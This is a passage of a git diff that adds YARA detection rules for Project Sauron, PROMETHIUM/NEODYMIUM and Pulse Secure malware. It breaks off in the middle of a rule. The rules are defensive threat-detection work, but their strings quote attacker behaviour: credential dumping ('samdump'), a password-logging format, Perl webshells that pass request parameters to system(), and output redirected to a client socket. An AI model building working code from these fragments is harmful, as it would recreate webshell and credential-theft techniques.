+rule APT_Project_Sauron_Scripts {
+	meta:
+		description = "Detects scripts (mostly LUA) from Project Sauron report by Kaspersky"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+		id = "575a6f1b-5a4d-5f81-b44a-b7025dbec2a5"
+	strings:
+		$x1 = "local t = w.exec2str(\"regedit "
+		$x2 = "local r = w.exec2str(\"cat"
+		$x3 = "ap*.txt link*.txt node*.tun VirtualEncryptedNetwork.licence"
+		$x4 = "move O FakeVirtualEncryptedNetwork.dll"
+		$x5 = "sinfo | basex b 32url | dext l 30"
+		$x6 = "w.exec2str(execStr)"
+		$x7 = "netnfo irc | basex b 32url"
+		$x8 = "w.exec(\"wfw status\")"
+		$x9 = "exec(\"samdump\")"
+		$x10 = "cat VirtualEncryptedNetwork.ini|grep"
+		$x11 = "if string.lower(k) == \"securityproviders\" then"
+		$x12 = "exec2str(\"plist b | grep netsvcs\")"
+		$x14 = "SAURON_KBLOG_KEY ="
+	condition:
+		1 of them
+}
+
+rule HKTL_Dsniff {
+   meta:
+      description = "Detects Dsniff hack tool"
+      author = "Florian Roth (Nextron Systems)"
+      score = 55
+      reference = "https://goo.gl/eFoP4A"
+      date = "2019-02-19"
+      id = "eb39185b-330f-5b93-ac58-0465e5767919"
+   strings:
+      $x1 = ".*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*"
+   condition:
+      1 of them
+}
+
+rule APT_Project_Sauron_arping_module {
+	meta:
+		description = "Detects strings from arping module - Project Sauron report by Kaspersky"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+		id = "42389511-de92-57cb-9dee-9f829fd5e55a"
+	strings:
+		$s1 = "Resolve hosts that answer"
+		$s2 = "Print only replying Ips"
+		$s3 = "Do not display MAC addresses"
+	condition:
+		all of them
+}
+
+rule APT_Project_Sauron_kblogi_module {
+	meta:
+		description = "Detects strings from kblogi module - Project Sauron report by Kaspersky"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+		id = "e1dd4d1a-1089-5897-8f4a-52c7068802fa"
+	strings:
+		$x1 = "Inject using process name or pid. Default"
+		$s2 = "Convert mode: Read log from file and convert to text"
+		$s3 = "Maximum running time in seconds"
+	condition:
+		$x1 or 2 of them
+}
+
+rule APT_Project_Sauron_basex_module {
+	meta:
+		description = "Detects strings from basex module - Project Sauron report by Kaspersky"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+		id = "51ef3826-af5c-562b-a1f8-3bf11532ac2d"
+	strings:
+		$x1 = "64, 64url, 32, 32url or 16."
+		$s2 = "Force decoding when input is invalid/corrupt"
+		$s3 = "This cruft"
+	condition:
+		$x1 or 2 of them
+}
+
+rule APT_Project_Sauron_dext_module {
+	meta:
+		description = "Detects strings from dext module - Project Sauron report by Kaspersky"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+		id = "d69373e0-d6ad-5475-8766-06e865620ed8"
+	strings:
+		$x1 = "Assemble rows of DNS names back to a single string of data"
+		$x2 = "removes checks of DNS names and lengths (during split)"
+		$x3 = "Randomize data lengths (length/2 to length)"
+		$x4 = "This cruft"
+	condition:
+		2 of them
+}
+
+rule Hacktool_This_Cruft {
+	meta:
+		description = "Detects string 'This cruft' often used in hack tools like netcat or cryptcat and also mentioned in Project Sauron report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+		score = 60
+		id = "a39de541-19b5-5b7e-a3dc-51a5309181e5"
+	strings:
+		$x1 = "This cruft" fullword
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and $x1 )
+}
+
+/*
+	Yara Rule Set
+	Author: FLorian Roth
+	Date: 2016-08-09
+	Identifier: Project Sauron - my own ruleset
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT_Project_Sauron_Custom_M1 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "9572624b6026311a0e122835bcd7200eca396802000d0777dba118afaaf9f2a9"
+		id = "c741bd7d-1885-55f1-a5b3-8f00fda2fe39"
+	strings:
+		$s1 = "ncnfloc.dll" fullword wide
+		$s4 = "Network Configuration Locator" fullword wide
+
+		$op0 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 } /* Opcode */
+		$op1 = { 80 75 29 85 c9 79 25 b9 01 } /* Opcode */
+		$op2 = { 2b d8 48 89 7c 24 38 44 89 6c 24 40 83 c3 08 89 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( all of ($s*) ) and 1 of ($op*) ) or ( all of them )
+}
+
+rule APT_Project_Sauron_Custom_M2 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "30a824155603c2e9d8bfd3adab8660e826d7e0681e28e46d102706a03e23e3a8"
+		id = "79abe5f2-a750-5018-a67f-6ee1c51a2ca1"
+	strings:
+		$s2 = "\\*\\3vpn" ascii
+
+		$op0 = { 55 8b ec 83 ec 0c 53 56 33 f6 39 75 08 57 89 75 } /* Opcode */
+		$op1 = { 59 59 c3 8b 65 e8 ff 75 88 ff 15 50 20 40 00 ff } /* Opcode */
+		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 12 0f 82 a7 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and ( all of ($s*) ) and all of ($op*) )
+}
+
+rule APT_Project_Sauron_Custom_M3 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "a4736de88e9208eb81b52f29bab9e7f328b90a86512bd0baadf4c519e948e5ec"
+		id = "555b37a2-6a3c-539f-81dc-24c739795510"
+	strings:
+		$s1 = "ExampleProject.dll" fullword ascii
+
+		$op0 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 ba } /* Opcode */
+		$op1 = { ff 15 34 20 00 10 85 c0 59 a3 60 30 00 10 75 04 } /* Opcode */
+		$op2 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 00 20 00 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and ( all of ($s*) ) and all of ($op*) )
+}
+
+rule APT_Project_Sauron_Custom_M4 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "e12e66a6127cfd2cbb42e6f0d57c9dd019b02768d6f1fb44d91f12d90a611a57"
+		id = "32717ace-ff56-5b5b-8ed9-4bb353886eea"
+	strings:
+		$s1 = "xpsmngr.dll" fullword wide
+		$s2 = "XPS Manager" fullword wide
+
+		$op0 = { 89 4d e8 89 4d ec 89 4d f0 ff d2 3d 08 00 00 c6 } /* Opcode */
+		$op1 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 04 20 5b } /* Opcode */
+		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 b6 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 90KB and ( all of ($s*) ) and 1 of ($op*) ) or ( all of them )
+}
+
+rule APT_Project_Sauron_Custom_M6 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "3782b63d7f6f688a5ccb1b72be89a6a98bb722218c9f22402709af97a41973c8"
+		id = "1aa6dd43-52ac-5321-9941-767833073c37"
+	strings:
+		$s1 = "rseceng.dll" fullword wide
+		$s2 = "Remote Security Engine" fullword wide
+
+		$op0 = { 8b 0d d5 1d 00 00 85 c9 0f 8e a2 } /* Opcode */
+		$op1 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 } /* Opcode */
+		$op2 = { 80 75 29 85 c9 79 25 b9 01 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( all of ($s*) ) and 1 of ($op*) ) or ( all of them )
+}
+
+rule APT_Project_Sauron_Custom_M7 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "6c8c93069831a1b60279d2b316fd36bffa0d4c407068dbef81b8e2fe8fd8e8cd"
+		hash2 = "7cc0bf547e78c8aaf408495ceef58fa706e6b5d44441fefdce09d9f06398c0ca"
+		id = "c5e83e1a-872d-53b3-a74a-b1a9b4a89168"
+	strings:
+		$sx1 = "Default user" fullword wide
+		$sx2 = "Hincorrect header check" fullword ascii /* Typo */
+
+		$sa1 = "MSAOSSPC.dll" fullword ascii
+		$sa2 = "MSAOSSPC.DLL" fullword wide
+		$sa3 = "MSAOSSPC" fullword wide
+		$sa4 = "AOL Security Package" fullword wide
+		$sa5 = "AOL Security Package" fullword wide
+		$sa6 = "AOL Client for 32 bit platforms" fullword wide
+
+		$op0 = { 8b ce 5b e9 4b ff ff ff 55 8b ec 51 53 8b 5d 08 } /* Opcode */
+		$op1 = { e8 0a fe ff ff 8b 4d 14 89 46 04 89 41 04 8b 45 } /* Opcode */
+		$op2 = { e9 29 ff ff ff 83 7d fc 00 0f 84 cf 0a 00 00 8b } /* Opcode */
+		$op3 = { 83 f8 0c 0f 85 3a 01 00 00 44 2b 41 6c 41 8b c9 } /* Opcode */
+		$op4 = { 44 39 57 0c 0f 84 d6 0c 00 00 44 89 6f 18 45 89 } /* Opcode */
+		$op5 = { c1 ed 02 83 c6 fe e9 68 fe ff ff 44 39 57 08 75 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and
+		(
+			( 3 of ($s*) and 3 of ($op*) ) or
+			( 1 of ($sx*) and 1 of ($sa*) )
+		)
+}
diff --git a/yara-Neo23x0/apt_promethium_neodymium.yar b/yara-Neo23x0/apt_promethium_neodymium.yar
new file mode 100644
index 0000000..115ad4b
--- /dev/null
+++ b/yara-Neo23x0/apt_promethium_neodymium.yar
@@ -0,0 +1,125 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-12-14
+   Identifier: PROMETHIUM and NEODYMIUM
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PROMETHIUM_NEODYMIUM_Malware_1 {
+   meta:
+      description = "Detects PROMETHIUM and NEODYMIUM malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8abDE6"
+      date = "2016-12-14"
+      hash1 = "e12031da58c0b08e8b610c3786ca2b66fcfea8ddc9ac558d08a29fd27e95a3e7"
+      id = "21e858b1-2cfa-5757-96f0-7c44a5da6898"
+   strings:
+      $s1 = "c:\\Windows\\system32\\syswindxr32.dll" fullword wide
+      $s2 = "c:\\windows\\temp\\TrueCrypt-Setup-7.1a-tamindir.exe" fullword wide
+      $s3 = "%s\\ssleay32.dll" fullword wide
+      $s4 = "%s\\libeay32.dll" fullword wide
+      $s5 = "%s\\fprot32.exe" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 10000KB and 3 of them ) or ( all of them )
+}
+
+rule PROMETHIUM_NEODYMIUM_Malware_2 {
+   meta:
+      description = "Detects PROMETHIUM and NEODYMIUM malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8abDE6"
+      date = "2016-12-14"
+      hash1 = "1aef507c385a234e8b10db12852ad1bd66a04730451547b2dcb26f7fae16e01f"
+      id = "5858541b-c394-5be8-9db3-fcff66f635de"
+   strings:
+      $s1 = "winasys32.exe" fullword ascii
+      $s2 = "alg32.exe" fullword ascii
+      $s3 = "wmsrv32.exe" fullword ascii
+      $s4 = "vmnat32.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them ) or ( 3 of them )
+}
+
+rule PROMETHIUM_NEODYMIUM_Malware_3 {
+   meta:
+      description = "Detects PROMETHIUM and NEODYMIUM malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8abDE6"
+      date = "2016-12-14"
+      hash1 = "2f98ac11c78ad1b4c5c5c10a88857baf7af43acb9162e8077709db9d563bcf02"
+      id = "bff79813-0d72-50d9-9676-794801edc34b"
+   strings:
+      $s1 = "%s SslHandshakeDone(%d) %d. Secure connection with %s, cipher %s, %d secret bits (%d total), session reused=%s" fullword ascii
+      $s2 = "mvhost32.dll" fullword ascii
+      $s3 = "sdwin32.dll" fullword ascii
+      $s4 = "ofx64.dll" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 2 of them ) or ( all of them )
+}
+
+rule PROMETHIUM_NEODYMIUM_Malware_4 {
+   meta:
+      description = "Detects PROMETHIUM and NEODYMIUM malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8abDE6"
+      date = "2016-12-14"
+      hash1 = "15ededb19ec5ab6f03db1106d2ccdeeacacdb8cd708518d065cacb1b0d7e955d"
+      id = "4e926b1c-bf10-5337-8c3a-964008a37d8b"
+   strings:
+      $s1 = "c:\\windows\\temp\\winrar.exe" fullword wide
+      $s2 = "info@aadobetech.com" fullword ascii
+      $s3 = "%s\\ssleay32.dll" fullword wide
+      $s4 = "%s\\libeay32.dll" fullword wide
+      $s5 = "%s\\fprot32.exe" fullword wide
+      $s6 = "ADOBE Corp.1" fullword ascii
+      $s7 = "Adobe Flash Player1\"0 " fullword ascii
+      $s8 = "Windows Index Services" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 700KB and 4 of them ) or ( 6 of them )
+}
+
+rule PROMETHIUM_NEODYMIUM_Malware_5 {
+   meta:
+      description = "Detects PROMETHIUM and NEODYMIUM malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8abDE6"
+      date = "2016-12-14"
+      hash1 = "a8b7e3edaa18c6127e98741503c3a2a66b7720d2abd967c94b8a5f2e99575ac5"
+      id = "4bd60f61-a595-5289-9595-a7e33f265748"
+   strings:
+      $s1 = "Winxsys.exe" fullword wide
+      $s2 = "%s\\ssleay32.dll" fullword wide
+      $s3 = "%s\\libeay32.dll" fullword wide
+      $s4 = "Windows Index Services" fullword wide
+      $s5 = "<F RAT" fullword ascii
+      $s6 = "WININDX-088FA840-B10D-11D3-BC36-006067709674" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 5000KB and 3 of them )
+}
+
+rule PROMETHIUM_NEODYMIUM_Malware_6 {
+   meta:
+      description = "Detects PROMETHIUM and NEODYMIUM malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8abDE6"
+      date = "2016-12-14"
+      hash1 = "dbd8cbbaf59d19cf7566042945e36409cd090bc711e339d3f2ec652bc26d6a03"
+      id = "0f36eb56-39d8-536c-93ff-4a2352163612"
+   strings:
+      $s1 = "c:\\Windows\\system32\\syswindxr32.dll" fullword wide
+      $s2 = "c:\\windows\\temp\\TrueCrypt-7.2.exe" fullword wide
+      $s3 = "%s\\ssleay32.dll" fullword wide
+      $s4 = "%s\\libeay32.dll" fullword wide
+      $s5 = "%s\\fprot32.exe" fullword wide
+      $s6 = "Windows Index Services" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 7000KB and 4 of them )
+}
diff --git a/yara-Neo23x0/apt_pulsesecure.yar b/yara-Neo23x0/apt_pulsesecure.yar
new file mode 100644
index 0000000..76f4b94
--- /dev/null
+++ b/yara-Neo23x0/apt_pulsesecure.yar
@@ -0,0 +1,284 @@
+/*
+    Copyright 2021 by FireEye, Inc.
+
+    The 2-Clause BSD License
+
+    Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+    1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+    2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+rule FE_Webshell_PL_ATRIUM_1
+{
+    meta:
+        author = "Mandiant"
+        date = "2021-04-16"
+        hash = "ca0175d86049fa7c796ea06b413857a3"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "b2663343-0bae-5215-a443-866ab8626bff"
+    strings:
+        $s1 = "CGI::param("
+        $s2 = "system("
+        $s3 = /if[\x09\x20]{0,32}\(CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)\)\s{0,128}\{[\x09\x20]{0,32}print [\x22\x27]Cache-Control: no-cache\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}print [\x22\x27]Content-type: text\/html\\n\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}my \$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)[\x09\x20]{0,32};\s{0,128}system\([\x22\x27]\$/
+    condition:
+        all of them
+}
+
+rule FE_Trojan_SH_ATRIUM_1
+{
+    meta:
+        author = "Mandiant"
+        date = "2021-04-16"
+        hash = "a631b7a8a11e6df3fccb21f4d34dbd8a"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "c49441f4-a138-534c-a858-a7462ed865c9"
+    strings:
+        $s1 = "CGI::param("
+        $s2 = "Cache-Control: no-cache"
+        $s3 = "system("
+        $s4 = /sed -i [^\r\n]{1,128}CGI::param\([^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Cache-Control: no-cache[^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Content-type: text\/html[^\r\n]{1,128}my [^\r\n]{1,128}=[\x09\x20]{0,32}CGI::param\([^\r\n]{1,128}system\(/
+    condition:
+        all of them
+}
+rule FE_APT_Webshell_PL_HARDPULSE 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date = "2021-04-16"      
+        hash = "980cba9e82faf194edb6f3cc20dc73ff"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "f9a2922e-6b8e-5f92-a947-3215ee8883ac"
+    strings: 
+        $r1 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}unless[\x09\x20]{0,32}\(open\(\$\w{1,64},[\x09\x20]{0,32}\$\w{1,64}\)\)\s{0,128}\{\s{1,128}goto[\x09\x20]{1,32}\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}return[\x09\x20]{1,32}0[\x09\x20]{0,32}\x3b\s{0,128}\}/ 
+        $r2 = /open[\x09\x20]{0,32}\(\*\w{1,64}[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>/ 
+        $r3 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}print[\x09\x20]{0,32}[\x22\x27]Content-type/ 
+        $s1 = "CGI::request_method()" 
+        $s2 = "CGI::param(" 
+        $s3 = "syswrite(" 
+        $s4 = "print $_" 
+    condition: 
+        all of them 
+} 
+rule FE_APT_Trojan_Linux32_LOCKPICK_1
+{
+    meta:
+        author = "Mandiant"
+        date = "2021-04-16"
+        hash = "e8bfd3f5a2806104316902bbe1195ee8"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "00c09378-25a0-55f1-8d93-7b22d98bd8c2"
+    strings:
+        $sb1 = { 83 ?? 63 0F 84 [4] 8B 45 ?? 83 ?? 01 89 ?? 24 89 44 24 04 E8 [4] 85 C0 }
+        $sb2 = { 83 [2] 63 74 ?? 89 ?? 24 04 89 ?? 24 E8 [4] 83 [2] 01 85 C0 0F [5] EB 00 8B ?? 04 83 F8 02 7? ?? 83 E8 01 C1 E0 02 83 C0 00 89 44 24 08 8D 83 [4] 89 44 24 04 8B ?? 89 04 24 E8 }
+    condition:
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and (@sb1[1] < @sb2[1])
+}
+rule FE_APT_Trojan_Linux32_PACEMAKER 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date = "2021-04-16"   
+        hash = "d7881c4de4d57828f7e1cab15687274b"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "459e26f1-4ea9-56dd-ad71-0ed2c7499aea"
+    strings: 
+        $s1 = "\x00/proc/%d/mem\x00" 
+        $s2 = "\x00/proc/%s/maps\x00" 
+        $s3 = "\x00/proc/%s/cmdline\x00" 
+        $sb1 = { C7 44 24 08 10 00 00 00 C7 44 24 04 00 00 00 00 8D 45 E0 89 04 24 E8 [4] 8B 45 F4 83 C0 0B C7 44 24 08 10 00 00 00 89 44 24 04 8D 45 E0 89 04 24 E8 [4] 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] EB } 
+        $sb2 = { 8B 95 [4] B8 [4] 8D 8D [4] 89 4C 24 10 8D 8D [4] 89 4C 24 0C 89 54 24 08 89 44 24 04 8D 85 [4] 89 04 24 E8 [4] C7 44 24 08 02 00 00 00 C7 44 24 04 00 00 00 00 8B 45 ?? 89 04 24 E8 [4] 89 45 ?? 8D 85 [4] 89 04 24 E8 [4] 89 44 24 08 8D 85 [4] 89 44 24 04 8B 45 ?? 89 04 24 E8 [4] 8B 45 ?? 89 45 ?? C7 45 ?? 00 00 00 00 [0-16] 83 45 ?? 01 8B 45 ?? 3B 45 0C } 
+    condition: 
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and all of them 
+} 
+rule FE_APT_Trojan_Linux_PACEMAKER 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date = "2021-04-16"     
+        hash = "d7881c4de4d57828f7e1cab15687274b"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "5a20260a-5389-57da-956c-97063fed5015"
+    strings: 
+        $s1 = "\x00Name:%s || Pwd:%s || AuthNum:%s\x0a\x00" 
+        $s2 = "\x00/proc/%d/mem\x00" 
+        $s3 = "\x00/proc/%s/maps\x00" 
+        $s4 = "\x00/proc/%s/cmdline\x00" 
+    condition: 
+        (uint32(0) == 0x464c457f) and all of them 
+}
+rule FE_APT_Webshell_PL_PULSECHECK_1 
+{ 
+    meta: 
+        author = "Mandiant" 
+        date = "2021-04-16"  
+        sha256 = "a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "f375fdd8-567b-569b-85f4-af54a35d2a93"
+    strings: 
+        $r1 = /while[\x09\x20]{0,32}\(<\w{1,64}>\)[\x09\x20]{0,32}\{\s{1,256}\$\w{1,64}[\x09\x20]{0,32}\.=[\x09\x20]{0,32}\$_;\s{0,256}\}/ 
+        $s1 = "use Crypt::RC4;" 
+        $s2 = "use MIME::Base64" 
+        $s3 = "MIME::Base64::decode(" 
+        $s4 = "popen(" 
+        $s5 = " .= $_;" 
+        $s6 = "print MIME::Base64::encode(RC4(" 
+        $s7 = "HTTP_X_" 
+    condition: 
+        $s1 and $s2 and (@s3[1] < @s4[1]) and (@s4[1] < @s5[1]) and (@s5[1] < @s6[1]) and (#s7 > 2) and $r1 
+} 
+rule FE_APT_Trojan_PL_PULSEJUMP_1
+{
+    meta:
+        author = "Mandiant"
+        date = "2021-04-16"
+        hash = "91ee23ee24e100ba4a943bb4c15adb4c"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "690cc347-e60f-5cac-b65d-367ecee69251"
+    strings:
+        $s1 = "open("
+        $s2 = ">>/tmp/"
+        $s3 = "syswrite("
+        $s4 = /\}[\x09\x20]{0,32}elsif[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27](Radius|Samba|AD)[\x22\x27][\x09\x20]{0,32}\)\s{0,128}\{\s{0,128}@\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}&/
+    condition:
+        all of them
+}
+rule FE_APT_Trojan_PL_QUIETPULSE 
+{
+    meta: 
+        author = "Mandiant"  
+        date = "2021-04-16"       
+        hash = "00575bec8d74e221ff6248228c509a16"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "4c49eef7-b8fa-55d5-8fb8-8964f6f50003"
+    strings: 
+        $s1 = /open[\x09\x20]{0,32}\(\*STDOUT[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/ 
+        $s2 = /open[\x09\x20]{0,32}\(\*STDERR[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/ 
+        $s3 = /socket[\x09\x20]{0,32}\(SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}PF_UNIX[\x09\x20]{0,32},[\x09\x20]{0,32}SOCK_STREAM[\x09\x20]{0,32},[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{0,128}unlink/ 
+        $s4 = /bind[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}sockaddr_un\(/ 
